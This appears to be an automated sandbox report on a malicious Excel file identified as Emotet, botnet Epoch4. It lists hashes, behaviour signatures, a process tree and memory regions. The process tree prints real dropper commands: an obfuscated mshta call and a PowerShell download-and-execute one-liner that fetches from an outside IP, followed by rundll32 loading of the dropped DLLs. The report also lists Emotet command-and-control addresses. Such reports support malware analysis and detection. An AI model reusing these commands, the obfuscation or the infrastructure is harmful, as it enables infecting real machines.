Analysis

  • max time kernel
    119s
  • max time network
    156s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    19-01-2022 23:20

General

  • Target

    52c71979386ac643247d9d73585dba55.xls

  • Size

    141KB

  • MD5

    52c71979386ac643247d9d73585dba55

  • SHA1

    42822423168d51c2ff0a9c939fa139c29add0de7

  • SHA256

    f74964dbb9ba817e9acbccfc6c081eee34f21cb4d1942c7aafe8ecc867761917

  • SHA512

    26744f67592a65554601bfbc28256b2efd611ccfccf3798a8825e0e808728f799e26a639c3d651fd8bf74a105bc4b4746c7f3a317ade95a7807f6ca0eb841018

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 7 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\52c71979386ac643247d9d73585dba55.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:572
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:812
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:1104
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1244
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
                PID:1132
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                  6⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1612
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                    7⤵
                    • Loads dropped DLL
                    • Drops file in System32 directory
                    • Suspicious use of WriteProcessMemory
                    PID:1292
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Anyrdadlmeavsf\xidkwoy.ijy",ITaLAzP
                      8⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1948
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Anyrdadlmeavsf\xidkwoy.ijy",DllRegisterServer
                        9⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1320

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/572-58-0x000007FEFBC11000-0x000007FEFBC13000-memory.dmp

        Filesize

        8KB

      • memory/960-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/960-57-0x0000000076151000-0x0000000076153000-memory.dmp

        Filesize

        8KB

      • memory/960-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        Filesize

        64KB

      • memory/960-55-0x0000000071401000-0x0000000071403000-memory.dmp

        Filesize

        8KB

      • memory/960-54-0x000000002FCF1000-0x000000002FCF4000-memory.dmp

        Filesize

        12KB

      • memory/1244-64-0x0000000002460000-0x00000000030AA000-memory.dmp

        Filesize

        12.3MB

      • memory/1244-63-0x0000000002460000-0x00000000030AA000-memory.dmp

        Filesize

        12.3MB

      • memory/1292-88-0x0000000002520000-0x0000000002546000-memory.dmp

        Filesize

        152KB

      • memory/1292-91-0x00000000026F0000-0x0000000002716000-memory.dmp

        Filesize

        152KB

      • memory/1292-82-0x0000000000440000-0x0000000000466000-memory.dmp

        Filesize

        152KB

      • memory/1292-84-0x00000000006A0000-0x00000000006C6000-memory.dmp

        Filesize

        152KB

      • memory/1292-78-0x00000000001B0000-0x00000000001D6000-memory.dmp

        Filesize

        152KB

      • memory/1292-80-0x0000000000350000-0x0000000000376000-memory.dmp

        Filesize

        152KB

      • memory/1320-108-0x00000000028F0000-0x0000000002916000-memory.dmp

        Filesize

        152KB

      • memory/1320-96-0x00000000001A0000-0x00000000001C6000-memory.dmp

        Filesize

        152KB

      • memory/1320-98-0x0000000000310000-0x0000000000336000-memory.dmp

        Filesize

        152KB

      • memory/1320-100-0x00000000004A0000-0x00000000004C6000-memory.dmp

        Filesize

        152KB

      • memory/1320-102-0x0000000002480000-0x00000000024A6000-memory.dmp

        Filesize

        152KB

      • memory/1320-104-0x0000000002580000-0x00000000025A6000-memory.dmp

        Filesize

        152KB

      • memory/1320-106-0x0000000002630000-0x0000000002656000-memory.dmp

        Filesize

        152KB

      • memory/1320-110-0x0000000002A60000-0x0000000002A86000-memory.dmp

        Filesize

        152KB

      • memory/1320-112-0x0000000002BF0000-0x0000000002C16000-memory.dmp

        Filesize

        152KB

      • memory/1320-114-0x0000000002C50000-0x0000000002C76000-memory.dmp

        Filesize

        152KB

      • memory/1612-71-0x00000000002B0000-0x00000000002D6000-memory.dmp

        Filesize

        152KB

      • memory/1948-93-0x00000000002C0000-0x00000000002E6000-memory.dmp

        Filesize

        152KB